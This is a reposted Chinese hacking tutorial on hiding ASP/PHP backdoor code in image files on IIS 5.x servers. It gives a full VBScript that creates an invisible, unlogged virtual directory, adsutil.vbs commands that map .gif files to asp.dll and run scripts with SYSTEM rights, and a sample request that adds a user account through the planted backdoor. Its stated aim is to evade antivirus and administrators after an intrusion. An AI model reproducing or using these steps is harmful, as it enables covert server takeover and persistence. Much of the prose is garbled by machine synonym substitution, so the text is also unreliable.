设为主页 | 加入收藏 | 繁體中文

脚本图片类后门病毒的完美使用方法

  前两天,看了一篇《脚本注入图片新方法》的文章,相信很多人都经过这篇文章了解了如何在图片中加入脚本,以及如何在正常的asp(或php)文件中经过include函数使图片中的脚本孕育发见服从。
  但是,这种方法的题目又随之而来了:有人问道:通常脚本网页文件中如果想要拔出一个图片,简简单单的一个html标签就解决了,如果我们用include取代的话,是否太过显着?固然这种语句放在大型页面中手工查找有点麻烦,但如果是杀毒软件用特性码查找,看到include的因此.gif.jpg等扩展名末端的语句,相信肯定会报警。
  而我们若不消类似于include之类的函数的话,图片中的asp(或php)语句又怎会实行呢?岂非要打德律风叫网管帮忙吗?嘿嘿…… 所以题目就集中在用什么方法可以替代include函数的作用上了,因为注入图片的脚本可以变,所以可以不怕杀,怕就怕那句该去世的include。
  有什么方法呢?我曾经想过我们在入侵成功后可以在iis中添加应用程序映射,把.gif等图片的扩展名用asp.dll(或php.exe)解析,并把这虚拟目次的应用程序掩护改为低,这样我们的后门就会有system权限了。当我们注入图片的脚本的作用是实行cmd下令的,我们就可以经过本地表单post我们要实行的下令给图片,当然也可以是get: 代码 /uploadfiles/newsphoto/xx.coma1.gif?cmd=dir 这种方法当然是好,可以打破include实行脚本了。但仍有不敷,并且是显着的:这种方法固然杀毒软件是查不出了,但是仍可显着看出:办理员只要检察一下应用程序映射,那么我们所有的工作都白费了。
  想到这里,我突然想到了iis的那个著名漏洞(涉及iis5.0及iis5.1),我们可以在恣意一个站点下创立一个不可见的虚拟目次(指的是intenet服务办理器中不可见,但使用adsutil.vbs仍然可见),并且由于iis的特性,虚拟目次的应用程序映射及应用程序掩护是与iis的默许站点离开设置的。由于虚拟目次不可见,他所有的属性当然也就不可见了。
  所以我们可以宁静的设置此目次的属性,而不消怕办理员发明。 当我们把这个虚拟目次指向服务器上另一个装满图片的物理目次(至于那找这种目次?我找到个好地方:windowz默许的墙纸目次,我的xp上是%systemroot%\web\wallpaper\目次)时……呵呵,大家想到什么了没?一旦我们修改此中两个图片,注入我们的脚本后门,然后把此目次的图片映射到asp.dll(或php.exe)上,应用程序掩护改为低,就可以经过我上面讲的方法举行访问实行下令了。
  并且是system权限哦!呵呵,是不是很爽?办理员怎样也不会想到自己的图片却会是致命的后门!(其实这种方法动鲨曾在x档案上发文章说过,但他的方法有一个缺陷:在非web目次中有asp(或php)文件,一旦发明,简直让人猜疑。而我们使用的是图片,相信办理员看到图片不会感情过激的非要撕开了看个明确才罢休吧?呵呵……) 那么如何创立这个虚拟目次呢?我们可以在图形界面也可以使用自编脚本或是间接用iis自带的adsutil.vbs操作。
  在此之前我先简单说明一下这个iis漏洞的缘故原由:我们知道iis的配置文件是metabase.bin。这个文件位于%systemroot%\system32\inetsrv\metabase.bin,包罗了几乎所有iis的配相信息,是十分重要的体系文件。简单的说,我们在“intenet服务办理器”中所作的一切设置终极都市被生存在metabase.bin中。在一样平常的体系办理中除了经过“intenet服务办理器”来对metabase.bin举行操作外,windows还提供了一个脚本adsutil.vbs可以对metabase.bin举行操作。
  (adwords)metabase的布局类似于注册表,也是树形布局,有类似键、值、项的概念。究竟上在iis3和pws中,metabase的内容就是存储在注册表中的。metabase有两个主键:lm和schema。此中,schema生存了体系默许的一些配置,通常不必要修改,一旦改错也十分伤害,所以无论是“intenet服务办理器”还是adsutil.vbs都没有提供修改schema的机制。lm中包罗了iis的http服务,ftp服务,smtp服务等的配相信息。此中,lm/w3svc/下是我们要用到的http服务的配相信息。$page_devide$
  此中有一个值:scriptmaps,代表脚本映射。当我们在某个虚拟目次下设定scriptmaps值后,则向该目次请求的特定扩展名的文件都市交给指定的isapi实行。必要强调的是,设定scriptmaps的目次并不肯定要真实存在的,只要在metabase中某个http实例的root键下建了一个子键,对该字键同名的虚拟目次的http请求iis会认为是合法的,并会交由映射的isapi处置惩罚。
  这样说可能谁都晕了(包罗我),其实简单的作个类比:metabase的就够类似于注册表,我们知道,我们在安装有些程序的时候,安装程序会在注册表中创立一些必要的值,可我们一旦非正规把它安装的文件删除了时(好比有些朋友删游戏时就是间接往回收站一拉了事),注册表中的那些项就会被留下,没有效处,而形成注册表垃圾。metabase中也是那么回事,我们正常创立一个虚拟目次时,metabase中就会创立一些项。而当我们经过非正常手段删除了此虚拟目次时,那些项就会留下,与注册表不同的是,那些项还会起作用,只要我们用http请求了那个虚拟目次,iis就会仍旧根据metabase中的原来的虚拟目次设置顺遂前往。
  所以纵然目次不存在,只要他曾经存在过,那么就成立。呵呵,听懂了没?(ps:还没懂)晕,那就只好请您看动鲨的那篇文章了,他说得可比我明白。 至于如何添加不可见的虚拟目次,动鲨的那篇文章说得很明白了,我这里就不废话了,上面提供动鲨的添加不可见虚拟目次的脚本,生存为iis.vbs: 代码 help1=iis后门设置器 for win2000 by 动鲨 5月30号2004 年 help2=请输出正确的虚拟目次名称和映射的路径,款式如下 help3= cscript.exe iis.vbs 虚拟目次的名称 映射的路径 help4=例如: cscript.exe iis.vbs backdoor c:\ set args = wscript.arguments if args.count < 2 then wscript.echo help1 wscript.echo wscript.echo help2 wscript.echo wscript.echo help3 wscript.echo wscript.echo help4 wscript.quit end if strvrname=args(0) 虚拟目次名称 strrootpath=args(1) 虚拟目次路径 set checkvirtualdir=getobject(iis://localhost/w3svc/1/root) for each vr in checkvirtualdir if vr.name=lhxy then foundt =yes else foundt= no end if next if foundt =yes then wscript.echo 发明已经创立了lhxy目次,正在设置自定义的虚拟目次 creatvdir else wscript.echo 正在创立lhxy目次,以及自定义文件夹,请等待!
  creatlhxy creatvdir end if wscript.echo 你创立的虚拟目次名称是& strvrname &,映射的文件夹是 & strrootpath &。 wscript.echo 请访问http://ip/lhxy/& strvrname &/ 来毗连后门! wscript.echo 祝贺!后门设置全部完成! sub creatlhxy() set objdir=getobject(iis://localhost/w3svc/1/root) set mydir=objdir.create(iiswebvirtualdir,lhxy) mydir.accessread=true mydir.defaultdoc=mydir.defaultdoc mydir.appisolated=0 mydir.accessexecute=true mydir.dontlog=true mydir.accesssource=true mydir.enabledirbrowsing=true mydir.setinfo end sub sub creatvdir() set objvirtualdir=getobject(iis://localhost/w3svc/1/root/lhxy) set virdir=objvirtualdir.create(iiswebvirtualdir,strvrname) virdir.accessread=true virdir.path=strrootpath virdir.defaultdoc= virdr.accessexecute=true virdir.accesswrite=true virdir.accesssource=true virdir.appisolated=0 virdir.dontlog=true virdir.enabledirbrowsing=true virdir.appcreate 0 viddir.createprocessasuser=0 virdir.setinfo end sub wscript.quit 我记得bugkidz好像也曾经贴出过类似的脚本。呵呵,没细致看,大家不要打我,自己找吧,或是找boy要,呵呵。
  上面是经过adsutil.vbs把asp.dll添加到inprocessisapiapps数组中的下令,使得所有asp脚本都市以system权限实行。 代码 cscript adsutil.vbs set /w3svc/inprocessisapiapps c:\winnt\system32\idq.dll c:\winnt\system32\inetsrv\httpext.dll c:\winnt\system32\inetsrv\httpodbc.dll c:\winnt\system32\inetsrv\ssinc.dll c:\winnt\system32\msw3prt.dll c:\winnt\system32\inetsrv\asp.dll 不过必要细致,adsutil.vbs只能设,不能改,所以用adsutil.vbs的时候肯定要把原先的也加上,不然原先的就会丧失。不同条目之间用空格离开。 然后把你的虚拟目次加上应用程序映射: 代码 cscript adsutil.vbs set w3svc/1/root/lhxy/wofeiwo/scriptmaps gif,c:\winnt\system32\inetsrv\asp.dll,1 我这里的虚拟目次是lhxy/wofeiwo,图片扩展名是.gif大家可以根据自己现实环境更改。 好了,我们看看效果吧: 代码 /uploadfiles/newsphoto/ofeiwoa1.gif?cmd=net user wofeiwo w1o2f3e4i5w6o /add
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: